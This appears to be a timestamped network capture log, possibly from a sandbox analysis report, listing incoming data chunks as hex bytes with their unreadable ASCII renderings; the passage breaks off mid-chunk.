2023-08-02 08:46:24 UTC	1410	IN	Data Raw: 14 20 97 46 e2 a9 e8 5a 99 9f 72 f7 d0 90 93 1c 73 f8 ed 9f bb 13 af 72 08 7d 53 ea 9f fe 1f f4 f1 85 74 b6 3d 73 91 8c bd e7 cd 36 3c 16 5f 82 b5 55 3f 7e 27 4c c1 83 39 16 27 fe a9 e5 43 64 e9 3c 76 9d de 96 a1 11 8a 40 2d 38 c8 19 55 2c 06 57 ab a9 eb c2 4c 9b f0 8a 63 03 bd 0f 69 bc 4e 20 52 fc 29 69 92 8e 73 36 1a 94 55 17 45 22 d0 fa a2 e9 3b ef b2 9f a1 40 39 e7 e0 8c f5 b2 f6 38 f5 cd f4 89 e2 f9 b4 a3 2c c3 df 58 c6 3d d6 81 a6 60 04 89 18 1b 72 02 65 5e d9 1f 90 fd c9 6d 0a cd 73 f7 ad 14 14 9e 0d 2a 8d b3 aa e5 b5 b8 78 5d 60 5e 5e 31 a3 6e 17 79 44 47 7b a5 84 29 9f 0e 4a 8b a7 c5 a3 db fb 48 44 5e 49 7c 24 67 79 e2 85 69 43 09 cc 91 3b 5f c3 9b 7b 4f ec 58 49 dc 1c aa bc 5b e0 f9 43 cb 2e 20 56 84 95 cb aa 7f 4f 8d d3 1b be 94 ed 46 e6 c9 e0 Data Ascii: FZrsr}St=s6<_U?~'L9'Cd<v@-8U,WLciN R)is6UE";@98,X=`re^ms*x]`^^1nyDG{)JHD^I\|$gyiC;_{OXI[C. VOF
2023-08-02 08:46:24 UTC	1426	IN	Data Raw: da d9 e7 08 56 34 b4 05 fa f8 a8 be 52 08 97 ec 20 9d 67 59 ff d1 50 fc 8c 1b e5 24 ce 3b 32 98 3c 79 7f f5 1e dd 2c d4 8a ff 1d 32 5e 1c 79 0b df a2 21 94 9b 15 92 b0 81 4e 68 90 15 18 a0 c0 da 78 69 10 bc 1a b4 98 fe 47 83 28 92 28 0c cc 3a 69 48 4e 21 fe 72 af 3e c7 98 ec c5 0b b3 c0 08 da 72 cc 07 29 05 91 3b 23 fc aa a9 ef 56 6d 9e 0d 98 90 3d 15 26 d6 96 46 b7 0e 94 cd 7a 10 93 40 6c 13 04 5d a4 f9 29 5c 66 b9 68 de 84 1d e7 d1 c7 74 41 b9 af 44 dd 5b 76 9b 1b 3b 63 fd 0b 74 f5 3e bc dd 50 8a 5c cb 2b df da 94 b1 f1 7f ed 01 f4 f5 28 ef d1 d8 ac 38 d8 72 4a 40 b8 da cd dd 54 e7 ac a1 b3 46 bc 2e fb 68 dd 87 60 14 cb ac 40 82 b0 68 36 ac 8a bc df f9 8e 5a 1a b7 8c 4c c5 99 3d da 60 de 3d 5f 38 c0 cc f0 05 c2 17 40 e7 db 81 f9 2b c9 9e 4b 70 5c dc 2a Data Ascii: V4R gYP$;2<y,2^y!NhxiG((:iHN!r>r);#Vm=&Fz@l])\fhtAD[v;ct>P\+(8rJ@TF.h`@h6ZL=`=_8@+Kp\*
2023-08-02 08:46:24 UTC	1442	IN	Data Raw: 01 30 c3 51 ba 5e e6 ea 9a 49 7b ac 4b 6b 23 1c 2e 0d e7 0c df 5a 00 8d fa 1b bb 7d 0a 61 90 5f 21 e5 c9 86 63 8b 5f f1 07 37 83 ab fe 6a 1e 9a 90 41 91 5a d7 4b b2 ed f5 af ba 78 26 f0 a4 61 2b 9c 90 86 eb 0a ce 2a 50 08 4e fc 2e 6c d4 40 b8 51 fb 3e 2c 12 7c f4 31 bb fa e9 5b 1e f0 bf bb 9c ba dc b9 71 5c e7 1d 19 0f 85 e7 09 f7 d8 32 4f 90 97 de e7 0a 60 45 b3 86 66 0b 89 e9 d0 75 1e 82 f6 f0 0e 5f b1 30 d2 1a 36 f4 55 e3 57 86 0b e8 62 61 bf 84 19 02 52 83 24 ef a1 dc 20 05 6a 28 b0 0c af 6f 0b 83 6e 71 2a 3d 6c 2a 7f 52 dd 74 75 78 e6 e3 91 29 58 58 ac fb 21 62 dd 91 fd 0e 0d 73 e9 b6 cb e8 f3 f4 8a a6 f7 30 86 32 d6 0b 44 3e 0f 5a 1d 49 af d9 f4 1f 1c 02 ad 24 b0 90 54 98 ef ee 8f 9d 8e 8a b3 a5 c7 92 a0 eb aa 0d 8f 5b 15 5a 38 82 6a b0 37 90 ee de Data Ascii: 0Q^I{Kk#.Z}a_!c_7jAZKx&a+PN.l@Q>,\|1[q\2O`Efu_06UWbaR$ j(onq=l*Rtux)XX!bs02D>ZI$T[Z8j7
2023-08-02 08:46:24 UTC	1458	IN	Data Raw: 3c be ad 2b 1e cf a2 17 b6 b2 d8 d3 75 dc 4d 01 83 57 74 2e 2e 29 68 63 12 74 73 d1 65 da 0a eb 62 c6 08 f1 80 7a af dd 39 f4 2e f4 1e 68 3e 72 c9 ad 58 b3 5b 8d 4f c3 6e e2 91 9c fb ec 4b 27 e8 4e 26 ca 2b eb 11 88 5a 00 b4 a4 cc 19 86 e1 6c 00 5d 33 fe d7 e9 b2 db f7 19 5d 9a 59 75 22 bb c7 f1 83 dc d9 6f 82 e3 a5 90 cb 9c 1c 29 8a 6c e5 9a 0c 4d ed 67 c7 43 36 31 36 f2 61 c1 0b d8 48 32 5e a8 52 21 13 ca 30 20 d2 8f ea 6e fe e1 3d 87 ae 35 3b 8b b8 98 3f dc 76 20 1c 3b 47 1b c6 ac 11 6a 52 5e 61 15 aa 35 89 76 dc f9 10 df 4b eb 68 a7 66 4b 37 96 1e 8e 08 27 95 bd dc 87 1e 67 fa 80 50 71 8f 73 b5 b8 9a 6e 56 b2 32 69 1b 55 5f a4 04 1e ff 72 4e 2a 58 93 55 ba c4 12 11 eb 6e 7c f5 c8 92 7e 68 06 f4 67 4c 79 72 45 45 86 45 50 72 a1 3f 09 50 d3 42 28 8f 1d Data Ascii: <+uMWt..)hctsebz9.h>rX[OnK'N&+Zl]3]Yu"o)lMgC616aH2^R!0 n=5;?v ;GjR^a5vKhfK7'gPqsnV2iU_rN*XUn\|~hgLyrEEEPr?PB(
2023-08-02 08:46:24 UTC	1474	IN	Data Raw: cd e4 4b 5a 7b a7 b9 e8 46 b5 35 de c5 a6 e5 a8 0f 77 31 3f 87 df f6 8b 66 52 31 f8 6d 88 44 ac 70 85 81 ed cb 43 3b ad 29 ab 01 79 4e e8 0a bf ca 75 48 52 fb c2 93 78 46 4b e7 b6 5f b6 b1 5f 51 62 cd 4a 91 c7 43 b4 1e 0f be 4b e7 8d 9f c5 71 b7 90 f4 31 31 9e cd bd 07 c8 cb d0 f6 c6 0a 56 52 5b 05 5f e8 ee 59 79 db 62 ba d2 5c cf bc 91 c7 2b 1f 21 48 a6 85 6f d1 8d 52 cd cf 26 b3 f1 5e 23 39 35 9e ca 33 af 5b be ca d0 6d 9a 33 80 34 8b d8 1e 31 e2 46 2f 18 a2 8f cf 17 64 e0 6e f1 7b 73 a8 1e bc 76 8f 80 88 b7 19 58 8c 25 4d 34 ec 78 79 5c 45 24 28 27 fd ad 99 5f 4f f0 8e 7a 71 bc c7 8b b4 4c 48 44 93 41 93 8d cd 94 c7 25 87 cd b6 e9 81 8a 7a b0 66 9b 68 4c e6 9f 57 56 39 0f 09 9c 7f c9 a1 c6 81 9b f9 78 8e 62 50 3f 67 fb fe e4 4b 10 37 b7 6f b4 c9 b9 84 Data Ascii: KZ{F5w1?fR1mDpC;)yNuHRxFK__QbJCKq11VR[_Yyb\+!HoR&^#953[m341F/dn{svX%M4xy\E$('_OzqLHDA%zfhLWV9xbP?gK7o
2023-08-02 08:46:24 UTC	1490	IN	Data Raw: c2 94 c4 4a b3 2c f0 0c 17 82 db ac cb 51 56 d5 28 98 60 0e d2 3e 15 4a d0 2f 5e 78 69 62 32 7b 76 8c 60 dd de 73 e6 ff 4f b1 08 4f cf 12 1a d1 19 2f aa 5a 58 d7 e2 3e df 1b c2 8f 80 a4 6a ce 89 0d 48 ed c8 5b 6b 1a c6 e1 fe 00 29 81 f4 d4 0e 8d e1 da 43 0f 34 94 71 8f 84 96 dc 32 ba f2 63 37 2d 88 1c 36 61 41 2b 3d 34 24 61 fe 08 6f 23 fc 32 8e d8 b6 e2 62 f2 7b 96 2e 9c 07 0a e9 1e 7a 9a 5b ba 31 23 65 cf 87 8b e2 fd b9 b6 7e c4 a8 9d 1c d5 58 3f 37 10 3a 9d e6 f4 3a 06 f4 4b d1 79 8c 01 ca fa 7a 0c 95 a8 64 e9 d5 6d f5 86 98 76 3c a4 71 1b 38 87 8a b5 16 6d 7c 22 2a 5e 18 9b 8f 9c ee 9c 4a 07 12 5a c5 8a 96 3e ff a5 f9 63 ee 4d 00 8e 45 fa 86 e5 27 f3 a1 87 7e 97 04 13 02 50 d8 c2 31 12 d0 a1 c4 53 93 42 5c 6c 7f 3a 39 63 f5 8c 2e 32 e0 a4 4d 4a 14 e5 Data Ascii: J,QV(`>J/^xib2{v`sOO/ZX>jH[k)C4q2c7-6aA+=4$ao#2b{.z[1#e~X?7::Kyzdmv<q8m\|"*^JZ>cME'~P1SB\l:9c.2MJ
2023-08-02 08:46:24 UTC	1506	IN	Data Raw: b1 12 9f 10 7a 2b 8a b1 53 69 70 40 85 5a 73 de 6a 2a 90 45 a8 4e 6b ad 90 58 cd d0 b2 2d 87 db c3 44 92 8d 6c ce 99 e6 11 5e 69 7c b1 b9 4f cc fb a9 77 9f ab d5 9d 46 bf e8 5d 6a fd 37 cd 92 7b ca 47 e6 b6 6c e8 9f af 13 91 66 ea 91 67 2c 33 83 25 9f 01 bb 16 e9 87 8e 02 98 94 64 a7 be 4e e7 79 50 a1 0f 23 a4 08 a8 78 5a cd 76 3a 8d 8e ad 99 a3 de 83 23 dc f0 4a c1 c5 03 64 47 b2 0f 8c 00 3b be 64 a1 b3 e7 11 0d 49 36 22 3b e1 10 3a 8d ef 8b 67 e1 62 91 9e e9 59 37 78 94 6f 78 c3 3f be 40 39 fa 32 d2 b1 8f 64 3a 39 16 2b da 5d fb 08 eb 80 02 64 2d d0 c0 ea eb 2b 4c 2c 2a f5 6a a7 c0 3e 79 63 20 5d 7a 63 88 45 0c f4 90 fb 43 48 84 bc ec fd 07 7b 35 8f 33 d8 48 ef af b2 2b f1 dd a2 da 3a fb 3e 37 89 f3 be b9 cd 79 a9 e4 db d6 8c 32 d3 04 58 08 62 d1 f9 0e Data Ascii: z+Sip@ZsjENkX-Dl^i\|OwF]j7{Glfg,3%dNyP#xZv:#JdG;dI6";:gbY7xox?@92d:9+]d-+L,j>yc ]zcECH{53H+:>7y2Xb
2023-08-02 08:46:24 UTC	1522	IN	Data Raw: 6f 0b af 74 64 ab 28 ca bd 35 30 55 7b 7d 6c c9 56 35 73 ba 11 5b 34 2a ff 6d 0b 30 d9 3a 83 fc fd f1 d8 fe 13 4d 97 87 c4 82 4d 84 68 05 1b b0 66 96 ca b7 d8 62 b8 3a c4 9c f3 fa 0d 50 a8 3e 19 b0 4d 7f 59 c0 5e 8d 4e 49 3e 98 5b fe 97 ca 40 09 44 4c 17 c3 dc 44 22 f1 2e 1a 21 cb 87 24 af c8 ab 5e 5f ff 05 3c 40 56 b0 9c 37 a3 33 df 4a d2 e9 09 db 7b 0c cc ee 5d e4 1f 3e dd 43 d4 a0 38 99 d6 20 5a 26 8c e1 f4 b5 9e 77 e1 fd 1a 4c 3a 67 b4 cc ce c8 86 bb 18 2a ae e8 f4 c8 40 a0 e8 45 ad 47 3c 91 98 68 16 7a ad 39 6b a9 0a 83 57 bc a3 47 51 c8 af e3 d3 48 b1 2b d0 1f 93 9e 53 8f df fb 68 f3 60 5a 7d a4 dc 99 1e ed 34 35 c9 aa b4 da 0d 6f 8c 41 3d 86 fb 09 75 a9 c2 69 ab ea 37 61 bc 75 bb 37 e8 86 f5 29 9d 21 1e 7c 5d ea 7d 54 db ab ad f1 54 8e dc 2d 29 99 Data Ascii: otd(50U{}lV5s[4m0:MMhfb:P>MY^NI>[@DLD".!$^_<@V73J{]>C8 Z&wL:g@EG<hz9kWGQH+Sh`Z}45oA=ui7au7)!\|]}TT-)
2023-08-02 08:46:24 UTC	1538	IN	Data Raw: 30 d5 4d 61 58 8f bd 92 56 c3 53 96 5a 11 ef 06 bb 68 7d 0e 9d f8 1c 06 c8 60 df 15 fb 0b d6 32 3a 03 1e 3a 3a ae 92 c7 99 c7 d9 38 56 7d 81 7e a8 86 ce f4 9c 35 7d 5e cc 56 9e 7c 39 da a6 74 b6 90 68 d1 3c aa 89 40 4e de 7c b3 b9 4e 3c 79 4a a6 b1 1a c2 eb ca 6d 8a 17 ad 15 25 26 6d c6 38 49 64 13 7e 57 f3 04 90 b7 5f af c4 ff 3c da cc c5 cb b9 0e 63 83 cd 5d a8 d1 49 e4 10 4c c4 17 cf 2e 11 ef 5d f2 7b 09 95 8e 9c 5c ca 67 5d bf 9c ed 91 1f 5f 8a af 88 67 9c 77 8b 7d b1 f6 a7 8d 57 31 50 d0 8f 27 9f b1 dc a9 89 8b fe 9a a0 0b b8 35 ed 8f 34 6c 43 2f 3f 7b d2 68 16 af 81 80 f0 f7 cd 99 6e b7 37 f6 fb 65 f9 62 c9 07 6f b3 11 64 01 00 a7 63 be ce 28 02 73 aa 74 95 79 a7 80 f6 b7 b4 73 df 2b 38 0b 9b af 3c e9 64 7a ca d5 ae de f0 fe f5 e2 38 77 87 4b d3 f8 Data Ascii: 0MaXVSZh}`2:::8V}~5}^V\|9th<@N\|N<yJm%&m8Id~W_<c]IL.]{\g]_gw}W1P'54lC/?{hn7ebodc(stys+8<dz8wK
2023-08-02 08:46:24 UTC	1554	IN	Data Raw: 17 ac 97 f8 2a 26 09 bb 3d c1 6b 3e 8b 2d ed 85 36 23 b2 d2 7f 8f 7c de f1 96 18 79 ba d4 1e 7b 77 0d 09 f3 0f b3 29 a7 7b 61 c3 14 7f 15 53 21 ac 1f 06 12 c0 8e 07 a8 7f 9f 3b 67 86 aa 00 3d d1 d4 24 37 8a 88 f9 bb 1d 48 e7 de d0 b6 80 4e 51 1b 1d 3d b3 6a 53 a1 da 04 4a 60 90 f8 99 54 5d 30 40 35 63 34 3e 77 fd d8 ff 3d a8 fc 67 27 c8 34 3d 9d 08 fe 49 bd e8 fe 3f 61 1e f5 57 8b b8 18 57 60 99 b3 2d 48 3e 9e d4 b7 66 3a 42 48 89 3d eb 2f 56 00 00 2e 94 44 ea 44 c0 fc 4a d0 01 0a 27 93 8f 6b b6 47 44 41 23 10 c4 21 13 09 01 a7 ab e1 20 3e 3f 68 78 77 4f d8 35 73 d8 f8 c8 18 81 e1 c8 25 0a 88 51 2a 89 e1 69 9a 1d f9 91 1b a4 df 61 e5 a0 cb 6e b2 7a 4d 9c 3d 5a d4 cb 8f 7a 8e 94 41 10 4e ae c1 30 86 e1 3c c3 ba 81 20 e1 13 2e 27 6c 13 ad 2d 41 f6 3c bb d6 Data Ascii: &=k>-6#\|y{w){aS!;g=$7HNQ=jSJ`T]0@5c4>w=g'4=I?aWW`-H>f:BH=/V.DDJ'kGDA#! >?hxwO5s%QianzM=ZzAN0< .'l-A<
2023-08-02 08:46:24 UTC	1570	IN	Data Raw: 32 31 84 3b e8 af 66 53 9a c7 b9 5e bc 4a e7 fe 22 a8 ce 3c 6a 87 e6 7e d0 3c b0 55 c1 d3 7b 29 c3 36 9a 95 f2 a3 36 ab b7 1f 5c 4a 2b 65 3f a6 62 65 b0 a2 f0 fd a5 b3 0b 8e 76 3d 94 9e 3a 18 d8 5f eb 87 b6 b3 fd 89 ea d6 11 38 61 03 1a 8e 16 18 12 c9 a4 ae 8f 1a 98 b0 d4 9f 44 ff 77 5e e9 9f 51 9c 09 e4 f9 ba 56 0e 37 1f ca 3e ab a6 ae e2 9b 0c 1f 73 99 12 2a e3 65 12 e7 76 39 7b 0d 5c ef 13 8f 25 0b 8a 0e eb dc d5 86 7a 58 76 77 94 4a 52 5e c9 93 83 14 3a 05 61 b7 51 9e 94 21 5b 67 66 0e 20 d2 fd df 07 b2 1f 19 29 8e 03 df d6 08 c2 0f 33 6c 5d 3b 57 37 ce 7f 2e 36 99 7d 82 f2 e3 5a 81 0d 64 a2 92 71 e6 e9 95 fa 21 ca dd cf 94 ec 2e 62 b0 fe 5e fb 02 7b 09 f0 08 0a 63 20 7d 1f 86 f2 fe 04 03 e0 88 e1 62 07 c0 d1 b2 0f f2 fe 13 73 7a 03 71 5f cb 81 f6 88 Data Ascii: 21;fS^J"<j~<U{)66\J+e?bev=:_8aDw^QV7>s*ev9{\%zXvwJR^:aQ![gf )3l];W7.6}Zdq!.b^{c }bszq_
2023-08-02 08:46:24 UTC	1586	IN	Data Raw: 36 2b 4c b7 6c 31 ac c3 ed 9a 2c 6e fb fe ad 48 ac 39 9a 7b b7 e6 01 c4 ee 74 c5 6d 58 0f e4 a2 63 a4 f8 40 d7 5e 03 05 98 bd 82 47 27 d0 d4 71 9d e5 07 9f 20 c2 41 b3 3a 92 8a 6e 55 18 18 6a d4 68 ef f7 4f 88 89 7b 5e 39 e7 eb d9 e7 9a fa fb 0d 81 3f 36 b9 2b 50 77 ea 3b 35 75 b2 87 cf 99 a9 b8 dc d7 75 8d c2 6f da db d2 3d 7c 27 b5 b3 e7 f0 42 ad cb 06 d3 27 d8 f1 00 e8 e8 57 29 65 a2 5e 58 6a 0f 22 10 99 7c e8 b1 ca f0 78 d6 1d 44 5a 21 a9 ab 7e 2a 34 33 fc 64 d2 5a 04 63 45 51 30 18 0a 12 22 b6 33 fd 7e d6 75 2c 72 de e8 5d fb 2c 7c b4 81 71 1c 66 bc 27 19 1c 77 d1 69 63 22 c8 27 e8 8d fe 3f 9c 84 5c f0 dc ef 10 bc ae 34 b5 18 f0 05 1b ee 8e 58 53 be b2 99 b3 01 fe b1 d2 a1 75 05 98 01 4a 0a 17 54 9e f5 6d 52 fb 45 44 e2 ec a9 f9 45 a0 f4 57 fa e7 5c Data Ascii: 6+Ll1,nH9{tmXc@^G'q A:nUjhO{^9?6+Pw;5uuo=\|'B'W)e^Xj"\|xDZ!~*43dZcEQ0"3~u,r],\|qf'wic"'?\4XSuJTmREDEW\
2023-08-02 08:46:24 UTC	1602	IN	Data Raw: 17 2e ff 00 0f 8f ff a8 0f d1 17 84 9d b9 71 f5 a9 4d 63 bc 8f bb 9d 0e 40 11 5e 56 52 bf 6f cd 1e cf 9a 6b fc c8 1f 4b f3 97 47 74 5b 68 4a 29 03 cc c2 14 2b f5 5a d6 e1 88 f3 a9 ab e9 69 ca 0d 44 ec 53 75 5d e8 e2 a1 b6 4f 04 ad 65 f3 36 1a 4d 97 0c a1 0d 6d e2 73 a1 0a f3 5a 32 b5 b8 c7 be d7 44 ae 2d 85 f3 0a d8 c0 92 23 31 29 21 62 a5 be 76 e5 8e 3c e7 a3 d8 69 d3 13 39 77 2d d8 f0 23 a4 e1 3a 7b 4c e3 f5 62 b2 e5 51 3e 63 01 c0 09 a8 14 b1 e0 88 54 f4 28 22 b8 7f 2e a3 32 9d 89 76 e9 55 06 41 25 c8 a9 33 1f 03 9d 12 26 bc 52 2c 60 ac 54 28 dd c5 8d cd f4 d8 d0 53 8e 58 9b d9 fd d0 45 2f 0e 95 51 f9 ac 5c 95 e3 75 44 c5 58 ef 0c bd 99 21 c6 ca 0b 94 48 07 86 21 f1 ad 34 34 46 8f d7 fa 27 b7 b6 e2 33 5d d1 18 52 b9 4f 36 ec 29 26 b6 52 74 8e be f6 95 Data Ascii: .qMc@^VRokKGt[hJ)+ZiDSu]Oe6MmsZ2D-#1)!bv<i9w-#:{LbQ>cT(".2vUA%3&R,`T(SXE/Q\uDX!H!44F'3]RO6)&Rt
2023-08-02 08:46:24 UTC	1618	IN	Data Raw: ae 36 55 af e7 fc da 25 f2 4b 4a ef 4e b9 ea 90 25 cf 25 b6 5e 16 bd 80 4a 8f 6b 2e 03 cf d8 1d a3 22 e2 cb 0f eb 5b 7b c0 ca 04 e0 bd 88 a4 d9 d6 44 1d 26 2c 44 85 13 3a 50 73 84 52 30 12 64 db c5 1c 92 a8 bc b3 58 f3 3c f3 6d 54 b5 c4 fc 49 cb 03 48 80 70 a9 42 7c ed 70 48 57 df 9f 83 81 f5 41 f2 10 aa 44 2e c5 d2 b1 22 78 50 cb ce 8f e8 d0 1d cb f5 5f 6f 38 88 d5 50 0f 00 80 d9 99 f3 a7 6c c2 ae f9 74 2b a7 50 6b 48 1e d5 70 8a da 75 9c ea fc 9b 66 2a 83 14 4b cc 24 7b b4 62 e0 b9 10 1e 80 5e d2 03 28 ef c6 93 e2 a4 61 39 1b c4 26 30 53 da 20 50 9e 81 11 d6 3c 1e 47 45 35 e5 c9 80 6e 36 00 c6 7c c8 7f 6c 98 16 79 5d 09 ff 29 5d 83 45 b7 40 95 ca e2 5e 07 ef 5d f4 a2 16 75 40 6c aa c9 ec 0e a7 27 d5 21 7b 7c 08 58 8e c8 f9 60 01 d5 be 9f 58 1f 37 89 19 Data Ascii: 6U%KJN%%^Jk."[{D&,D:PsR0dX<mTIHpB\|pHWAD."xP_o8Plt+PkHpuf*K${b^(a9&0S P<GE5n6\|ly])]E@^]u@l'!{\|X`X7
2023-08-02 08:46:24 UTC	1634	IN	Data Raw: 85 81 95 55 c3 bf cd 2e e5 3f f6 89 7b 1a 92 29 31 7d 1a f7 d7 84 2a b5 18 1b 1a de 0e 01 be 2c 5c 72 25 3f b7 7d e7 c6 b8 f1 68 54 cb eb 7f fe 48 00 50 c7 2c a4 69 60 f2 4b d7 66 18 ef 7d c0 23 73 0a bb dd 22 5f 14 05 9d fc 65 ca 92 22 bd 94 42 21 ec a9 44 a2 20 c8 77 ed a2 c6 55 bf 10 0d eb 6a 77 fc 0e 28 27 74 9c 66 83 82 7b 9d 3d a7 1c b5 8a f2 3a b1 57 b9 9a 9a d7 cc 80 eb f4 63 f4 88 c1 fd 14 a1 c6 37 db 3d fb 36 ee b0 5c 4a 2b 65 bf cb 64 90 33 b2 1a 6c 9e c9 0a 5b fd 97 da 46 57 ff 71 cc c3 c6 ba bd 84 c2 6e 5b a6 8a 08 3e 8b 37 25 ed 1a d3 f8 f1 a9 52 44 56 f5 60 74 1e 4f fb 58 92 c2 33 c3 85 bf 07 42 9f 34 b9 f0 78 ff da a9 2c 52 32 ce 23 6f a6 3a d8 78 51 4a 01 28 23 84 c0 63 f6 48 79 d0 34 ac d9 19 a9 68 04 88 a9 eb 81 5b c2 da 7e 5e b5 5a 30 Data Ascii: U.?{)1}*,\r%?}hTHP,i`Kf}#s"_e"B!D wUjw('tf{=:Wc7=6\J+ed3l[FWqn[>7%RDV`tOX3B4x,R2#o:xQJ(#cHy4h[~^Z0
2023-08-02 08:46:24 UTC	1650	IN	Data Raw: 36 cf c5 4a 85 d4 ad 35 80 ae 0e 35 15 43 78 bf b2 22 5d 20 61 d0 f9 38 82 d6 f3 94 40 17 86 a4 99 e5 01 18 61 81 62 bf 12 2b 0d 64 7b ba f6 98 81 f0 29 f7 b6 8b 95 5f 5a 49 1e 5e d7 6b 8e 1d 66 d0 28 3f ae 54 f2 f5 f3 9f d9 2f 41 72 0f 82 8f 15 ca 4b 0a d2 93 63 71 2b 0d c1 fb 63 5c 66 72 08 88 e1 63 4d 3d bb 28 36 0c a9 72 52 89 96 64 d6 a5 4c 4a 9b 48 ca e2 5b 08 9a 8c c8 29 cb 12 17 24 1a 89 5b a5 fd 5f 21 1a 54 70 bc 15 e4 5f 36 c0 56 f9 76 4e ee ad f0 14 87 20 87 b5 0d 3e b7 f8 68 6a 44 ce 3e d6 13 f5 d5 b5 14 4d 9d dd 19 10 d9 02 71 77 2d ca 5e 1d 8e d3 89 b9 8f 6a 26 d9 32 0b 5b e0 5f 32 f9 a8 43 c5 cd 61 f7 05 4e f8 24 46 7a 90 7f 33 0d 5f da 99 5f e2 3d 43 fc bb db 80 23 b4 fc e6 c7 cd b3 72 ed e9 08 fa 4d 4e 34 e9 13 2b 37 8e 86 08 60 7e 23 7e Data Ascii: 6J55Cx"] a8@ab+d{)_ZI^kf(?T/ArKcq+c\frcM=(6rRdLJH[)$[_!Tp_6VvN >hjD>Mqw-^j&2[_2CaN$Fz3__=C#rMN4+7`~#~
2023-08-02 08:46:24 UTC	1666	IN	Data Raw: 26 71 7e 2d 79 de af 8b 2d 02 5a 5e dd 6f 54 72 0d ff c9 75 ed 23 33 02 df 36 2a c6 bb 8a 6a e2 b3 69 d5 bb a1 39 d8 d7 18 ba 42 ee 98 d3 be 3b 24 2f ca f8 c0 07 50 08 f8 2f 81 ad 06 af 67 e4 42 80 52 97 31 44 03 d7 08 21 5c 4e 7e c8 eb 64 07 e2 7b 72 0c a0 17 49 4e 9f 9d 7f 7a ad a1 ea 7e ea fb 0f 5c 45 da ff af b3 bb 2a ec 20 1f 7f 1d e7 80 fd 40 2c 5d 46 0f 4a 76 8b 35 3d b7 d5 51 bd e2 3a 4a fb 43 52 b8 0c 14 18 72 4e 0c 06 26 1f 1d 84 ec 4c 58 4a 4c f6 15 58 c1 95 cf a8 29 bd dc 2f 30 39 f0 93 5f 40 80 79 8d b8 14 45 23 c7 43 a8 35 3f ea db 6a 59 a6 72 d7 5d 65 85 b0 05 e3 7f 33 c9 6a a0 c3 a5 c1 f1 24 43 de b6 61 9d 87 e4 34 a4 d0 22 1d 5e 5e a9 9a 5e 7d 36 d9 dc 7f 77 22 6f 10 95 fa d8 90 5b e9 f0 3e 72 65 47 95 5b dc f7 f1 32 63 8f 70 8c 8c 30 2d Data Ascii: &q~-y-Z^oTru#36ji9B;$/P/gBR1D!\N~d{rINz~\E @,]FJv5=Q:JCRrN&LXJLX)/09_@yE#C5?jYr]e3j$Ca4"^^^}6w"o[>reG[2cp0-
2023-08-02 08:46:24 UTC	1682	IN	Data Raw: 13 71 5e 02 dc 6d 0b e6 97 42 3b ca d0 c6 f3 28 a8 77 7e 64 5c e5 da 3b 82 58 3d 52 37 cf 50 f0 5d 0b 2f b9 4e ef 01 40 ea 78 be 27 32 0b 41 32 b8 54 bf 36 7e 01 ed ef f9 06 22 d7 9e 4a a9 14 27 01 a4 dc 5c 53 bb 36 ff e3 ae 39 96 b1 99 b8 17 1f 4d 6e d5 8e 99 3b 30 74 8e 5d 40 1b 25 f4 1b 3c c1 b9 9b 49 39 00 0a 2b 34 a9 f5 be f2 71 ee 6f e1 15 b8 8e d9 ed c4 7f 58 53 f9 f7 bf 97 5c c8 e7 07 54 57 94 62 f7 54 87 bb 5a 33 3d 83 ce cb e4 b2 a3 42 11 03 70 52 69 dd 94 cb 0f fe 46 4e 4c cb 20 2e 38 e4 19 63 c5 b0 88 62 ec 47 d1 50 e2 ee 55 7d 46 74 c0 f9 00 62 0d e5 92 e2 81 5e f3 5a 5b b4 23 ad 67 f9 5e ce 35 74 62 b4 62 17 a4 27 95 06 b4 b8 e1 c9 41 3c f5 f4 29 1d 26 88 0f 96 52 d7 5c 5f 08 16 2f 93 f3 d9 6a 18 84 d8 6d 46 75 f7 bc dc 7b 50 6f d0 f6 2b ea Data Ascii: q^mB;(w~d\;X=R7P]/N@x'2A2T6~"J'\S69Mn;0t]@%<I9+4qoXS\TWbTZ3=BpRiFNL .8cbGPU}Ftb^Z[#g^5tbb'A<)&R\_/jmFu{Po+
2023-08-02 08:46:24 UTC	1698	IN	Data Raw: d5 2c c4 2e 4c 29 83 e8 e5 2f 59 50 77 d4 07 05 c1 fd fb 3f 92 18 5d 46 bc 96 da 79 6c 9a 6e 18 da 7e d2 38 00 02 d1 23 07 d1 5b af 25 71 ad 4b 10 0a 75 00 79 bb 20 6b 70 1d 3f 1a 6f a8 81 2f 67 a9 8b 45 a8 3b f6 c6 dd ff a9 40 3e ca 2b cb 50 c7 99 45 4c a7 64 4f 2a bd 46 c0 c4 fe c5 df c2 d0 bf df 7f 90 87 bc be e5 6f ab ba aa 7b 00 77 3b 50 95 35 ce d3 80 b3 af ae 48 48 51 19 44 09 3e d8 14 38 f0 b3 86 f0 72 d5 68 d9 38 2d b5 3d 4d 2a d4 6b b7 96 24 a5 d9 7e 2f ea 94 2d c5 cf f6 3a b7 e4 5f 85 7b a4 3d 00 ca e9 08 79 4e 74 44 bc c3 63 3d 75 a5 b9 22 db 30 66 00 13 01 da 8b 93 78 24 9e 1a 41 57 10 22 27 a6 02 d3 81 32 a8 86 f2 e8 d6 ef 19 61 f9 67 57 93 a8 0d 4d bd bb 9d 24 4d 98 6a 21 e9 22 0c 6f 1e 84 b2 d3 e3 59 02 09 8b 71 7e db 4f 2c 62 5b 2b aa bd Data Ascii: ,.L)/YPw?]Fyln~8#[%qKuy kp?o/gE;@>+PELdOFo{w;P5HHQD>8rh8-=Mk$~/-:_{=yNtDc=u"0fx$AW"'2agWM$Mj!"oYq~O,b[+
2023-08-02 08:46:24 UTC	1714	IN	Data Raw: 59 a0 b3 e6 9c e0 37 11 33 b9 bf 9f 8b 42 aa cc 8b ba 4c 9f d2 68 84 a6 e2 e0 72 a7 e4 1a c4 e9 e6 c2 16 4e 33 3f a2 37 0f 6b a7 81 d6 56 fe 16 8f d8 5f 13 f0 1e a1 7d 78 43 a2 18 61 11 ec 53 88 63 c2 66 da 25 6c 00 50 bc 96 ad 5d 13 f9 72 39 28 8b 46 8d b2 ba 06 a4 e6 fa 74 9d 3f 65 35 e8 d7 ec 0d 92 02 0c 20 4a 95 26 a2 85 94 4f f5 20 d7 1c 77 e2 69 84 e2 0c d1 c4 8d 04 0d f1 a0 ab 24 d7 51 e6 2a b3 9e a8 02 4e a0 b5 2a 22 5f 36 b3 1a e2 25 68 31 3a 61 68 6c bd 1f c0 74 18 27 41 18 24 cd 17 fc bb b9 5a e8 ed b4 69 26 34 38 a9 72 5d 39 d1 b3 f4 e4 80 4a 39 0c e8 4d 83 93 95 19 4f da f5 92 68 ea e8 2f 19 ae 6d 91 02 40 2a ae fc 8a ee a4 72 c5 8c 76 02 ab 